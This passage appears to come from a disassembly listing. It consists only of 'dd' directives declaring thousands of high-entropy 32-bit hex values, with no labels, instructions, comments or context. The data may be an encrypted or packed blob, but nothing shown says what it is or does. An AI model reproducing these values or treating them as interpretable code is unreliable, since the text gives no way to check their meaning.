		dd 3D79160Dh, 9B1AC17h,	70509073h, 292B4D41h, 20D22C00h
		dd 0F68058C6h, 0CB30637Dh, 0F7DE7D1Ch, 0BA08DDD3h, 530B3FC8h
		dd 5802CEE3h, 0B70386F0h, 3C07B929h, 1CA1CA7Ah,	68C5F9F7h
		dd 71EB49D4h, 28DF5AC4h, 0D1CDC4ABh, 0AC400112h, 0EC0127DAh
		dd 0A9831885h, 647C9484h, 0F7D4C9Fh, 0F1B0FDF5h, 0F471ED05h
		dd 0E7435B85h, 5B99ADE9h, 58A98F32h, 40E5C9B1h,	78015ECEh
		dd 898627C3h, 7EC1143Ah, 0BA6600CBh, 2E76743Dh,	105ED029h
		dd 870B7BA2h, 5E02AE1Eh, 0F841AE5h, 0EBE90F87h,	681768D0h
		dd 0DB3214F7h, 0F2364153h, 2F0171BBh, 29A5BCFDh, 8014F5CFh
		dd 745DBDC5h, 2B921D3h,	115F1B43h, 0BE62E931h, 12FC7E84h
		dd 400C1EBBh, 214BC677h, 570259CEh, 0B0658DBFh,	2639C023h
		dd 7CC5083Dh, 0EF01F729h, 0D9A0239h, 0FE80C8Eh,	748058ABh
		dd 0F789575Fh, 0EBD86C8h, 0C807E22Ch, 7E504904h, 0D8284A1Dh
		dd 0C5BC5B97h, 5F92C110h, 0A2017BF0h, 4E16DFCEh, 3C0E134Fh
		dd 290378B8h, 0A6EEB547h, 0EE0330B5h, 0C7B39519h, 12B465D3h
		dd 0B8E70E1Eh, 0FAFB21ABh, 40C75A61h, 287CAB64h, 92B5495Eh
		dd 0B2F3005Eh, 247DA04Bh, 7DEEE83h, 0DEE6D1DEh,	0C826FFE0h
		dd 1F27E943h, 58E03CEBh, 0F35B5F68h, 0CAE90CAFh, 1E30C12Ah
		dd 8C12471Eh, 5C4AE565h, 3F8AFFA0h, 50452BB6h, 6BC0E21Fh
		dd 35B816E1h, 1D282FC3h, 0B9443751h, 2DAF8995h,	0F03C2EAAh
		dd 0AB0F2D66h, 24E96A28h, 0F9A0C2A2h, 585D5000h, 2D0012Dh
		dd 0E82960D7h, 0AF074505h, 16EA0531h, 6FF5E47h,	7427DCEh
		dd 362FA9BFh, 0D00FA44Ch, 52442CFEh, 289DB232h,	0B0F809AFh
		dd 720B4CA0h, 0B432492Eh, 10D0F19h, 4227F02Ch, 0BBDF5989h
		dd 88D54520h, 7C1DA33Ah, 1A4787D6h, 4E056644h, 0BE4C087h
		dd 0EC0229AEh, 0E292A9E0h, 40D41782h, 44E37E25h, 0A41A8741h
		dd 0BCD8AEF4h, 0F43B5E68h, 0F55505C0h, 0E11061ECh, 5E898047h
		dd 926CA35h, 250A9014h,	57DE9D67h, 0C1E15951h, 20256808h
		dd 70EED453h, 804A2C1h,	0D9015355h, 3469F180h, 4F5E2C1Fh
		dd 1781C0Dh, 0D7F7156Ah, 0C7148047h, 675F090Bh,	9084FE9h
		dd 9B7D58C4h, 0C88D0571h, 0BE4CD411h, 0F2300702h, 2FD4547Eh
		dd 3BD3F970h, 64123452h, 0B292C4EDh, 69C7CA04h,	51619089h
		dd 0A02B919h, 464E590Fh, 9EB01077h, 59030F0h, 826C533Ch
		dd 40982598h, 0E908EF50h, 5905ED27h, 113B2C6Ah,	90A24FEEh
		dd 0C09EBD8Ah, 0E54300Ah, 2A885A1h, 1414051h, 0B953B63h
		dd 88B85080h, 0C16DD42Ah, 0F708E800h, 6C2605D0h, 3271F990h
		dd 4788DC45h, 64F302CBh, 0EBC10293h, 7899E0E3h,	1EC20F7h
		dd 0EFE9DF12h, 77B2EBE0h, 0C49D5AF6h, 1E67BC5Ah, 99932554h
		dd 76BB6F52h, 65BFCD25h, 0ED02BFD9h, 1D965518h,	7B5721E0h
		dd 0C54B142Eh, 810ABEA4h, 0C340BC5h, 865F1709h,	0B7462FEAh
		dd 0B579142h, 0BF7AF6D7h, 0D0D45FF9h, 0BF02AF96h, 0D929D925h
		dd 8FD8CB52h, 43FC1E1Fh, 3FF3F101h, 0EAF20A9Fh,	2FDE569Dh
		dd 0FA54A6C4h, 685156DDh, 0D3F34222h, 6C967AF6h, 0E4C77CBCh
		dd 815DD50Ch, 0A77B9EEAh, 5A4FF498h, 265B24C8h,	0C92B1B9Fh
		dd 9433AE43h, 3A59540h,	81210734h, 7CD09ECAh, 0AB5DE90Fh
		dd 5E680BECh, 8B38D11Ch, 96711598h, 3ED45E47h, 0DD7AA1F1h
		dd 982A30ECh, 66DC6716h, 13977708h, 82290B54h, 0C3BED561h
		dd 59893127h, 0A766942h, 50CBE947h, 0DB479D77h,	52272032h
		dd 6AC10925h, 8957658Eh, 0C2C954B9h, 0D1029FAEh, 3AB560EEh
		dd 661F1867h, 1BB8B246h, 0BCAADC26h, 0E96157AEh, 352B202Dh
		dd 6BF4BDAEh, 4771FC0Eh, 2EAA29D2h, 0F97F07D7h,	10C28A98h
		dd 0C46625ECh, 7AB825A9h, 4E30DEF1h, 0BE5DE568h, 116E6234h
		dd 5F5ACF56h, 82253547h, 680D036Bh, 9D46D038h, 0C795E0B4h
		dd 0B22A98h, 22CA188Eh,	0E184E3BAh, 79E1864Fh, 1E84C16Fh
		dd 4FE05B4h, 80E82402h,	0A847EDB0h, 0E90BDC09h,	22FB561Bh
		dd 5E45B5E0h, 4309388h,	0E8DA0158h, 8DABA4CFh, 9CF4FF39h
		dd 51605A77h, 3AE957D0h, 62408223h, 8F3DBA16h, 9F7C9655h
		dd 7E10B48Ah, 4FF04EE1h, 811F9C2Eh, 6668F3C5h, 1DC0EC2Fh
		dd 0F60CCE9Fh, 24935ADDh, 0DFACFCEFh, 2F81E496h, 7305F54h
		dd 90020BC7h, 0BA804957h, 7C62A4Ch, 0D536BEA0h,	0E9A82904h
		dd 4161AD0h, 17E33DADh,	0FD135FE3h, 3E61AF5Fh, 8A2D39CDh
		dd 96778A9Ah, 0D1E92769h, 0CA09FDC0h, 0AEA0BFA5h, 57FCFF4Bh
		dd 139F5624h, 5F8FC8D9h, 1A007D90h, 50420A74h, 0C479D6E9h
		dd 0A077BB20h, 0C32C81BDh, 601DD9C6h, 89BEF381h, 0EAF0DC4Ah
		dd 2D050447h, 84DA296Fh, 5B0809D3h, 57518582h, 0BD7F4D40h
		dd 24577058h, 0C307FEE7h, 765C17Ah, 0E7EEDC2h, 0D75C1D9Ch
		dd 0D5E78716h, 899B45FEh, 0D68CC2F5h, 0E3407722h, 33A948B5h
		dd 0CCC05F16h, 78BE84C7h, 0ED78FD0Ch, 0A395A0C3h, 0A893969Bh
		dd 342F0221h, 4E462EB6h, 7B86EC5Dh, 0E70E16E6h,	2AD3004Ah
		dd 0E90AA604h, 0D6A4Dh,	0B35491BFh, 0BEFD163h, 3FD7CF81h
		dd 40F125Ah, 0B7B0747h,	0A03B4BC9h, 5CC36D0Ah, 0FB026263h
		dd 4F244B0Eh, 0EFF1105Dh, 31F009A2h, 3F601BDh, 0B65AF1A8h
		dd 7C60B041h, 0B02E77A3h, 3705352Ch, 2D0A436Bh,	50AF16C1h
		dd 48BA3FD4h, 8A133BAEh, 0E6D4B47Fh, 2D68E040h,	818262Fh
		dd 9EAC786Bh, 2E5C003h
		dd 0B53ACD80h, 5BC5C7B0h, 37D841A9h, 50353F27h,	6A9A1292h
		dd 0CFBDE93Ch, 0F4A1ABBCh, 65E007C3h, 4C62BA13h, 202C2440h
		dd 3E5428B3h, 1F9685F5h, 7358A873h, 74E9C209h, 989075DDh
		dd 854F0434h, 0F474CFECh, 0DDF5Bh, 80F8B652h, 0C6E67BE6h
		dd 0CE7D0E76h, 0E9C006C7h, 95ACF0F4h, 0E2DE139Eh, 5026077Eh
		dd 6B3635Ah, 80174E9Eh,	1D4210E0h, 48F1035Dh, 0ABB01730h
		dd 34F7B820h, 356E0923h, 0AD465753h, 772BB04h, 99BA3EAAh
		dd 68847B26h, 0CC82CAAAh, 49E9335Ch, 0B55EEA0Dh, 0EE626BB2h
		dd 5CAA62C7h, 9430256Dh, 61828A4Dh, 0A33EE6D8h,	11C5505Eh
		dd 1A5D7B10h, 72EBEF02h, 0E175194Eh, 2D69B55h, 2ACAF868h
		dd 24D2147Dh, 2C1958C6h, 0C91D4F19h, 82D4E3A8h,	62C48D44h
		dd 58C020BBh, 241347C7h, 8E140686h, 49E06FDFh, 1F5FDB29h
		dd 554E6027h, 3681CFF9h, 404A5B4Dh, 2F2C4981h, 4182589Dh
		dd 0B3C82B8Bh, 0C8283C62h, 0CDDC1E66h, 2FF70E90h, 0C8D9AACDh
		dd 9FD0A572h, 0BF1CCE84h, 815E81CAh, 29357540h,	5CA99A5Ah
		dd 605D5903h, 3B402156h, 0B971FE68h, 4C566CAAh,	0CFF2F85Ch
		dd 9DE22A5Eh, 0DA135D96h, 12BE5FEAh, 0A2C25235h, 0D48C9FF7h
		dd 0AC51D8Ch, 7D70EA6h,	421E1C98h, 0C1015BF4h, 5434925Eh
		dd 9FD70B1Dh, 5BD14BA0h, 0EFC740E7h, 3AF39FCh, 40FE8926h
		dd 0B159D010h, 68B9044Bh, 0E06DBF5Eh, 0D607B22Eh, 7C861F4h
		dd 12E8C159h, 0D84E6E31h, 0E908C38Ch, 5FD6DA54h, 502DC8BBh
		dd 72A85ACh, 748EB80h, 745D5EC3h, 0E77D8110h, 0C0D96F2Bh
		dd 5532060h, 2D36FEBBh,	0B00AF3Ch, 6FE46855h, 3EC24CD3h
		dd 40E9EB0Ah, 5F5989C8h, 1070BCFEh, 205D81FBh, 32BACE9Bh
		dd 0EB87D30Bh, 625C0B45h, 0FFDD5A72h, 9B8A06B4h, 27872006h
		dd 5A40D3E9h, 33EEB7B5h, 69E8354Fh, 68F9F7A0h, 0EF06AA24h
		dd 8534406Bh, 0F3098275h, 5DD5A2F5h, 6B7BF65Bh,	0E90975D9h
		dd 0F3F3E9D5h, 0F25A5E32h, 75DAC9E6h, 0BCE94402h, 3B58AAE9h
		dd 0B24AB9CAh, 42EF8BCAh, 7475518h, 0F9E9E805h,	747C993h
		dd 0B642CB3Ah, 0CFB7C21Dh, 5A220BE8h, 1D877749h, 7ED2131Eh
		dd 749C0F00h, 7D0955A2h, 12225AD1h, 5624AB33h, 57A4E509h
		dd 2FCA4C9Bh, 0E0F19090h, 333E7403h, 0F1CB8953h, 6C7BC69Ch
		dd 414AE9A9h, 0DFA8E213h, 0E98430B4h, 33A0FDDDh, 40136974h
		dd 0ED44514Eh, 32EF2B68h, 56DC5440h, 0E97C5E5Ah, 26C287F4h
		dd 86590432h, 0BF85EF8Dh, 0FA03ECA7h, 2AC181F6h, 18CF1204h
		dd 68ED98BBh, 2F6E6B31h, 5539283Dh, 2E377E10h, 0D2135431h
		dd 782A6D0Bh, 2DE2807Ch, 0EF5D1C09h, 47ADFA6Eh,	3C585069h
		dd 20E24A57h, 0AE154CC1h, 1B43035h, 0D60BFF8Ah,	1F479406h
		dd 96BFF0FAh, 0E305209Bh, 0CEBC646Ch, 0ADC74FF4h, 0B1A4B469h
		dd 32735EF5h, 0C78F9C4h, 79F66825h, 21B58023h, 0EC2850B4h
		dd 0BC402490h, 7694B031h, 0CFD0B478h, 0EB76C049h, 68E808AAh
		dd 6439E52Fh, 0D95258E2h, 2BB5E14Bh, 7899F29h, 0E6F85FE9h
		dd 0CFA2E6B5h, 0AA73C63Ah, 89147128h, 71D7AF8Ah, 505A6223h
		dd 5FB0E27Dh, 48025365h, 0E01DC04Fh, 0BF276E71h, 68C2A91Eh
		dd 717D8768h, 800CB2FFh, 0EE03D77Eh, 2C44EE9h, 7DB6EFBDh
		dd 48406B36h, 213E6D38h, 4CE70729h, 181C3541h, 152316BAh
		dd 52AD1318h, 92FDE9E6h, 0CA4D7CE7h, 0C4D04D3h,	4FAEA2BDh
		dd 1D5F7BBCh, 0F2A652DAh, 595413C6h, 11779AAh, 34F481h
		dd 3D61FD2Dh, 4E797B72h, 2F36D17Dh, 825C210Ch, 0D78FE64Ah
		dd 3DEDF949h, 1FAAEA83h, 7CD91166h, 0EDA32FEEh,	995B899Fh
		dd 17EEFF7Ah, 0F531ED5Fh, 0B739E5ABh, 0E14E9702h, 0F2F83165h
		dd 5CAADA20h, 0DA404A66h, 21AB932Eh, 0C9F19F8Fh, 0AE760807h
		dd 0E2626BEFh, 18CC57C8h, 45FB60Eh, 51F003E5h, 0B53BC052h
		dd 0C5803974h, 2AED0D73h, 0D610F528h, 0C05AA10Fh, 68003E5h
		dd 0EB75305h, 84594AE9h, 66AD4A7Eh, 0C210EA88h,	0A992CC93h
		dd 0BDFF80B7h, 5C6A782Ch, 2F7C5526h, 0D0648B46h, 2BB58B90h
		dd 90565190h, 0E9560483h, 56AB9A5Ch, 49331EF0h,	0A99407C2h
		dd 976AEC95h, 28291AE6h, 0DE039918h, 0B2CD9569h, 89CCD144h
		dd 0A5A023E9h, 840FC23Bh, 0C52ADE20h, 0AC7F4B82h, 15BCC469h
		dd 0A14B8BB7h, 38E631C4h, 229CC1C2h, 84641031h,	0CEDD1367h
		dd 980DC7EFh, 27C6D327h, 0E9782374h, 0AEC49247h, 5FFB2598h
		dd 0F720FA6Ch, 5CE3E0F8h, 0B67A9D58h, 3C68848Dh, 0F05FC943h
		dd 19BF91FAh, 49359AA8h, 4A4C012Fh, 83132435h, 0AA5B570Ch
		dd 19F7E050h, 69970944h, 9AD5B768h, 14DF6099h, 28BD001Ch
		dd 0CB2CA81h, 0F2EC491Eh, 0ED0DCC16h, 18021BF8h, 523BEB48h
		dd 5A61BFF0h, 0E72EA622h, 2BEE21h, 5EE8E644h, 498579Ah
		dd 0A2025C14h, 1C616A3h, 46350C8h, 31EDDF7Ch, 4056C5F7h
		dd 5AF028F6h, 35F45166h, 0BC5BCA40h, 0AA8B49F3h, 0E9126CBEh
		dd 604070CAh, 6D334E43h, 5DEF2889h, 0F64474C1h,	7A8EA02Ah
		dd 6BBB2578h, 0C4827474h, 7E4CD41Ah, 1848813Eh,	3F89DEE7h
		dd 4EE924A4h, 47B7F49Dh, 0D0CA2007h, 4F772612h,	0C6410370h
		dd 57F73F61h, 74E3E909h, 0A7C7BABh, 0C05A61A1h,	28C16373h
		dd 1A2270Eh, 2E477554h,	3142E9h, 625225BDh, 0EE5C668Bh
		dd 7D849A5Dh, 503FD5E9h, 5EF868A0h, 0DFC4C9B5h,	0B6068004h
		dd 1812715Dh, 221CE5C1h, 41550B17h, 535080CFh, 2C523E68h
		dd 170E7C31h, 85B6F986h, 0D45FB8D4h, 36702CDCh,	5A5AF388h
		dd 78FDBD58h, 99B55C4Ah, 0F222EE51h, 0D0E6CC6Bh, 56A8119Ch
		dd 6C55F880h, 8B641718h, 9F545722h, 0F925C25Bh,	9DA4236h
		dd 614A1275h, 0F32AE8C4h, 0C7271019h, 7F010538h, 0D82932F4h
		dd 1207452Dh, 1052AB84h, 202D9CE8h, 10478609h, 17685C82h
		dd 0FB9B757Ah, 2B0709C9h, 5EE4DA8Ch, 0E6FDD0C0h, 6050DC23h
		dd 551682F2h, 0A5E02CDDh, 0A7731C92h, 5121430Dh, 1DD078D4h
		dd 2D300F3Dh, 6F8CA8F7h, 29CA0045h, 0EAC158C2h,	0E2068103h
		dd 4D65772Ch, 1738090Ch, 0CD033F66h, 0AF951004h, 0EEBA07C7h
		dd 0AE20D9A0h, 3578C0F4h, 5D7163FBh, 240564C0h,	0B7AA7E44h
		dd 58D6E30Bh, 53FA2212h, 287AB888h, 0F195CAC3h,	4CE9708Bh
		dd 0E4C0A2A8h, 7660258h, 15E68007h, 0AD7CDE4h, 502EC780h
		dd 43205B0h, 0C3C0FE9Eh, 79016F01h, 685557E2h, 50ED4748h
		dd 4BBAFC30h, 0BD8281Fh, 7D348E69h, 1FFEC396h, 0DFA51541h
		dd 0F2C8C5F6h, 3B4468C1h, 2C8BA3Ch, 681C794Bh, 997F093Fh
		dd 7A605AB2h, 0C895CB80h, 488D4D5Dh, 0C5204529h, 56535C01h
		dd 0CC6F24BEh, 0C0EFB844h, 1BFCB60h, 53549D06h,	0AC40CFFh
		dd 0DBB5E94Bh, 4E68BA6h, 0B483355Ch, 0CB5AF188h, 28AFD8D3h
		dd 0E52C74C8h, 0ABD559E1h, 0E16A0BF5h, 92CB737Dh, 93C06C0Dh
		dd 0F4EC997Eh, 0D593AFBDh, 0CAD0EB16h, 2E9D48C1h, 0A00997EEh
		dd 682E40B0h, 3A7B8426h, 1D789688h, 0AA6392ACh,	4C89649h
		dd 0B6F3EAD0h, 9F0FA45Ah, 0EA8865C0h, 9F28059h,	0D3B551E3h
		dd 0F54D8257h, 777AE06Eh, 0E922C330h, 0BF3BD778h, 9E3A8781h
		dd 4FC33B69h, 0E0715BCEh, 705A6CF1h, 0B8D2C3ECh, 3158D8DDh
		dd 34E85A30h, 489EF42h,	872C2628h, 946D13B7h, 47D2BF4Dh
		dd 0A3905D5Dh, 44E3DE9h, 1238B4D1h, 9C6AC104h, 0A56C2A98h
		dd 6605BFF4h, 0DCF665Dh, 530C8399h, 415ACC54h, 0CFCC38FBh
		dd 2D6863D5h, 58511007h
		dd 2AE44ADAh, 0BB9567BDh, 1044D0F7h, 0F97E89B5h, 9CA2927h
		dd 4C514160h, 324C146Ah, 80CEFE03h, 601DFC6h, 5AF4308Fh
		dd 793C21E9h, 9A765D25h, 587B7698h, 0E4D3168h, 7D55587h
		dd 16768BA3h, 0D0838C15h, 0F7E2C2E1h, 44B5BE78h, 0B9534F01h
		dd 8EAEE551h, 4E2F181Dh, 0B67F1361h, 50049848h,	79957CB3h
		dd 7AE904BFh, 0A152A874h, 332F10DEh, 4E9B407Ch,	51C3AFB4h
		dd 0A34CB0E3h, 9EBEC1Fh, 35334F37h, 7933A255h, 42F4D47Eh
		dd 84FD665Ch, 1CB897DAh, 0A573F84Bh, 98861E8h, 619E7769h
		dd 0CD7AC845h, 0AFC3457Bh, 7A6303CEh, 0E576B97Eh, 0C8F5F0Fh
		dd 6CCFABE1h, 9F197AB3h, 93BD72DBh, 0BAD015EDh,	139334D6h
		dd 0B9C5296Ch, 0AADF8484h, 0F2B261FBh, 0CFE76E35h, 6BF6BD02h
		dd 855F444Dh, 23D1848Bh, 9F44435Eh, 0BAC364C0h,	0F012850h
		dd 73FE2AEh, 0BB536C3Ah, 7FE3C275h, 0EE82A58Bh,	0C875895Dh
		dd 2864D024h, 40DE26A9h, 2C130517h, 990412D2h, 0FF1C87A3h
		dd 0C7E68181h, 0F72B3502h, 45B0A2h, 0AE27D228h,	266D659Ah
		dd 1D750839h, 0F318582Fh, 2475CB6Fh, 68867BCAh,	4A152CB7h
		dd 15ABD46h, 36865BA8h,	34D83558h, 0E923126Fh, 0C7B140h
		dd 75BF578Eh, 477D8DE0h, 5A285259h, 3848F78Fh, 6623F489h
		dd 9BB935B5h, 0FA719798h, 71AF4565h, 256DE9FCh,	30B62E29h
		dd 0B462C669h, 1DAA4755h, 1D39B5E9h, 25EECC26h,	5E4C5424h
		dd 23F31079h, 4A5F5824h, 360D0022h, 8DE90C66h, 5AEE82BFh
		dd 38B5CD1h, 9009AE23h,	0EAD00DF2h, 2721FB95h, 1E137474h
		dd 4B2DE740h, 6B03E863h, 0BFE196C1h, 4D97F040h,	0A30F9028h
		dd 0B82B8909h, 0CFEF401Eh, 873185Fh, 1CC50C44h,	0FCEADC50h
		dd 29548BFDh, 0CD1804FBh, 0E95BAACAh, 0EE8185A5h, 0BBA40FFDh
		dd 8C4CB28Eh, 0F641095Bh, 4697C6FCh, 645EEAC2h,	0F0C64A9Eh
		dd 309F5F00h, 0FEE1F79Ah, 41944F33h, 3A1CE46Ch,	0FDC7D8CEh
		dd 18170409h, 25A6201h,	41565A08h, 0D3AFF267h, 700253E1h
		dd 76910891h, 49A08112h, 30C17D88h, 0C965A5A4h,	0F63D3349h
		dd 4267AD21h, 7C195F76h, 92AD685Ah, 0A739AEACh,	0DFCD3D60h
		dd 0B5A04765h, 0BAEAB1F5h, 36207D7Fh, 270E98BEh, 0DA591B9Ah
		dd 1E4963AAh, 6F68171Ch, 3C92EE5Eh, 0E186EA41h,	9EE5CCFEh
		dd 984E2378h, 1249681Bh, 0C5294B43h, 4E848F2Ah,	23A1FDA8h
		dd 0A3CC2EE5h, 988BBACCh, 30060B1Fh, 0FCFC5BDEh, 0F028B785h
		dd 0BAA587BCh, 0D7475404h, 199DE540h, 0BE903E21h, 3029BB0Ch
		dd 16A81864h, 0E201936Ah, 74E0C08Dh, 0B250A4Ah,	7C9070B9h
		dd 5B51107Dh, 0FB4CC766h, 39585B56h, 84C308CBh,	0D0B2887Eh
		dd 0A11DE94Fh, 53032B7Bh, 9DA11BB2h, 48753A68h,	8122943h
		dd 0B1523382h, 0D7CA550Ch, 62860EE1h, 2DF58BCh,	3D73853h
		dd 0F101F3FCh, 0EBD315C8h, 0D85FE83Ch, 89978916h, 0DA6733E6h
		dd 17A5FE16h, 4859CA5Fh, 1EA130BDh, 261BC3B9h, 2D1B7956h
		dd 0C0E6C22Ch, 4C150CA8h, 7A3BCA27h, 5F08812Bh,	0C8D990A5h
		dd 0B3C01896h, 275765B9h, 0F2595314h, 0F5088809h, 0E9178014h
		dd 5CA46B94h, 0A15E7CBFh, 237C5CF8h, 2FF4B807h,	0F0CC1F68h
		dd 0C758310Bh, 726C17E0h, 6FA2BEFCh, 5E5A10D0h,	0F4B284ACh
		dd 0FF9CCC52h, 14F20C4Bh, 0CA810D4Ah, 603E69B3h, 122EBDA4h
		dd 4882AA2Ch, 6020D473h, 7935BF59h, 986798BCh, 0F5088BC7h
		dd 975ADFA4h, 61305852h, 7AB860E6h, 874011Dh, 0BA20ED05h
		dd 7E22FD2Dh, 0CBC7511Dh, 0B21AA29Eh, 0AFFE5E2Dh, 9DF52860h
		dd 84BD5580h, 0AA5E6EF6h, 0B661F731h, 39383832h, 3EE91D2Ch
		dd 54F4C055h, 0A57D8A8Fh, 16BEED10h, 0A768BC0Ah, 0C2FD2FE4h
		dd 0CFB5E2Fh, 6EEEC02Dh, 7898FBh, 0BF025E05h, 45F02D29h
		dd 160830Fh, 7C0794D0h,	4D4411A2h, 8F84FA4Bh, 0E4E432FDh
		dd 6E4D3844h, 968F8523h, 929EFABDh, 0A90A844Ah,	0DB5CB33Fh
		dd 0E9F080D8h, 9C396EFh, 95895749h, 0C64F1452h,	674C83EDh
		dd 2A42292Dh, 2CC4EF55h, 0B57A27AAh, 0C60EE912h, 75204AC9h
		dd 57B62676h, 9D962E77h, 0CD257208h, 51C579E0h,	494FF43Ah
		dd 9E35F21h, 9DCF56D2h,	4C02798Ch, 12BA20BFh, 0C416CC80h
		dd 0BF609591h, 0B36BAB6Dh, 0E3132EC2h, 0B06E46A5h, 0B6734050h
		dd 20280D48h, 50530198h, 0E621B168h, 29AE2019h,	5F5307BCh
		dd 6302CB0Ch, 923D2082h, 0E868E005h, 169D0556h,	947DE995h
		dd 4B90FFB3h, 2C182FC2h, 2D81232h, 6D359D29h, 0EB43487Dh
		dd 2A4018A0h, 75820C33h, 6062A930h, 60DE06F1h, 9A280C3Ch
		dd 0BB98793Fh, 0F234F741h, 724EE2C7h, 0CD5A5A9Ch, 36E42FA2h
		dd 3A66414Bh, 0AF40F4E7h, 0D12B4A28h, 3ECBC424h, 9E7F84C9h
		dd 0D1285ECFh, 349D0DBBh, 69AC3EADh, 0D3F717EDh, 7AF0608h
		dd 845AF328h, 5217A02Bh, 27B95113h, 0A85E2DFCh,	426D2586h
		dd 7894DFB1h, 0EDBCA5FCh, 0E4C5FE0Eh, 31EF065Eh, 2F8E9473h
		dd 2D3BC2DDh, 0D6BAA7B7h, 84E970F8h, 9F243794h,	762BEA01h
		dd 25F06B51h, 2F66B5B0h, 0DD2D1698h, 9696719Eh,	512FC25Ch
		dd 94ECCE77h, 658689EBh, 52508E66h, 0BB4253CAh,	5BDA010Bh
		dd 68600754h, 9B754F0h,	0D6F75E23h, 0BF89384h, 50495831h
		dd 0BADBDF5Dh, 4B6807A1h, 0A478D460h, 2834D110h, 2430DDE8h
		dd 7FB45804h, 0C3275B2Fh, 3102B1E9h, 0F708EDC1h, 4671C0D5h
		dd 0BFAB000Eh, 2D5DE801h, 2A901409h, 0DA0879BEh, 0CFBE030Ah
		dd 83FA5210h, 0CE81C360h, 89F62C4h, 0EB2FAF80h,	1F61920h
		dd 6493BEF2h, 0C75989E8h, 574785B2h, 0A3A78A1h,	138612EDh
		dd 0A4EF479h, 942A8241h, 7E80A4FCh, 0AE00AC41h,	489A0E3Dh
		dd 5B16AE23h, 318A019Ch, 2862E9DAh, 0D0B8037Dh,	0D1609437h
		dd 0D2596A5Bh, 4E29C61Ch, 0BDCC244Dh, 82548D82h, 0E8C3647Eh
		dd 9D92841Bh, 3E7E5009h, 0F75BC448h, 0B0667079h, 25644B04h
		dd 0E113AE7Dh, 57DB2157h, 864B5A42h, 2A971A5Ch,	0FCD28BA6h
		dd 80D396B3h, 936BD4Eh,	9E062030h, 737F45E0h, 28D89002h
		dd 3FE44F16h, 0DB54AFE9h, 0A85B4ADEh, 0FBF0D91Bh, 0D785BB04h
		dd 387440FFh, 21B3D95Ch, 4B2562B0h, 4BD5C6C4h, 8875655Dh
		dd 0CB41DB70h, 0FEC7609h, 8C65BD95h, 37E3DB3Ah,	5ECC984Bh
		dd 4EF60A40h, 3CFAA4D4h, 154A36F8h, 53E066F8h, 14129768h
		dd 2CEF6ECFh, 0C5B53B5Ch, 884B39E4h, 924104FDh,	4B6E8961h
		dd 0A45F5DF5h, 5394F29Ah, 90772BAh, 6D884BDCh, 0B0500963h
		dd 0EF15487h, 0B1515880h, 0C12F8069h, 3A21F834h, 0D9B611E9h
		dd 1F701804h, 705181A1h, 0D640D2A1h, 62DA0FEh, 0CE94A826h
		dd 0C6012859h, 3F9F01D0h, 0C1E97003h, 0A6B72BD8h, 0FE94122Ah
		dd 270B2ECh, 88D3EE80h,	0C07F5AF0h, 0BD195740h,	0E411F4BAh
		dd 68CF8A06h, 5142A15Bh, 886853F7h, 0BB3B7576h,	7AA8A7ACh
		dd 62E6206Ch, 52823150h, 23E86816h, 7B174260h, 0BA2601E7h
		dd 5540BF39h, 81A93029h, 3CA3F238h, 0E4A30FDh, 4F3B706Ch
		dd 88F6E8ACh, 0C2273C8Ch, 4F818945h, 572A7D68h,	6F55FE30h
		dd 0DE1F8BD7h, 833E5642h, 88FA47F6h, 0D097D250h, 2530B1CCh
		dd 63357E58h, 9BB699Bh,	0F825F89h, 3ED3EB12h, 0D4B0F6AAh
		dd 0B45AE80Bh, 86A15D5Eh, 0F64DF3C7h, 0D6CFB4E0h, 7E33D19h
		dd 0F2EB7B0Ch, 0BC96606Fh, 6C3C310Dh, 0D90FC130h, 878221FCh
		dd 0F00166A9h, 5A42123Fh, 79360A68h, 0C7CC13F9h, 18B6C205h
		dd 1E5A8772h, 0D957E563h
		dd 528E8D53h, 0E807552Ch, 31964904h, 9ADB394h, 4F2400E4h
		dd 5E3C8865h, 4D70ECD1h, 69F25A6Bh, 156BE397h, 7CF954E9h
		dd 7956817h, 0AF1019F3h, 0CA04EEAh, 0F66F9009h,	2812968Bh
		dd 0B8E70703h, 0C21B1719h, 9AF5721Ch, 10589BCDh, 4FBB5ED6h
		dd 0F04019B8h, 0E72D80CDh, 461B0E0Bh, 4B88D95Fh, 59A1AA06h
		dd 50255476h, 277EF990h, 5F930045h, 532A28AFh, 8202BB22h
		dd 0DA2440DFh, 14CA9740h, 14760809h, 8EEF5764h,	3DF84EFFh
		dd 2D40279Ch, 2809E5B4h, 875866E1h, 0ADE2621Ch,	62C4D670h
		dd 2009C8F8h, 66CEE6DCh, 7EC94AEh, 0D0F9DB80h, 395C8D2Dh
		dd 28254148h, 5E500705h, 82416083h, 0F6B49E02h,	0B5C27A6h
		dd 0A0A58959h, 0E916E64Ch, 0C2F6C8D1h, 0BD4AC858h, 0BDC14A69h
		dd 8000BE8Ah, 99564E6h,	0FC480781h, 0E095347h, 0C7B78E6Fh
		dd 5B63F828h, 0C281AC5Ah, 0DD76E2FEh, 2575AD10h, 2783158h
		dd 18A0E910h, 9D4D9C9Dh, 895371E1h, 0FEF56815h,	0E7349F2Dh
		dd 3456B956h, 0BD91FDE9h, 73146275h, 0C8010288h, 5AB5E364h
		dd 0ACA385BDh, 0AC8C1379h, 0A013CB82h, 0A9F6BDA9h, 0A6E9E93Eh
		dd 0F3FE123Ah, 15E9C3B7h, 0E8C9101Fh, 370CDE3Dh, 407A2543h
		dd 589D010Ah, 6CC2055Eh, 0AE534DCDh, 75E2699Dh,	0BA75FD09h
		dd 5395DEE5h, 428202AAh, 13C8F371h, 469D2166h, 0C50E20DAh
		dd 17E55895h, 9A12D768h, 9FCF5967h, 0E94ED00h, 68291EDFh
		dd 130828D5h, 3CDAA65Ah, 1376F4BFh, 0D6F83125h,	0B8874299h
		dd 7BB22805h, 809ACC76h, 8A5E09D2h, 0F4EE0C5Fh,	0D784E40Bh
		dd 75F93B98h, 0A1CDE5C9h, 6EDC0AFh, 0F6D1053Bh,	0A09A08DDh
		dd 8528F82Ch, 4FB0EB20h, 0E31F445Ch, 30CABF9Eh,	0EE58663Ch
		dd 235F5286h, 3994C758h, 147496BAh, 2CA0480h, 21AC26F8h
		dd 0D668896Dh, 812DCEEEh, 61CEFE6Ch, 7B9321E9h,	6DEC7888h
		dd 0BD7E0FFEh, 0F10992E1h, 0E084A1A2h, 82F6F86Ch, 7DF88850h
		dd 0D5F604E0h, 5975EFEEh, 0E1E8DF5Bh, 3AB25202h, 7AE0EAD0h
		dd 634C0CC6h, 9042C27h,	0C4820969h, 2D19F64h, 18C69E52h
		dd 0B1DBBCE9h, 3124CEBh, 8E013824h, 2B3D6551h, 35BB1883h
		dd 0C0561DEh, 4CA39A0h,	0F80D17FEh, 0E542B97Ah,	155F06E0h
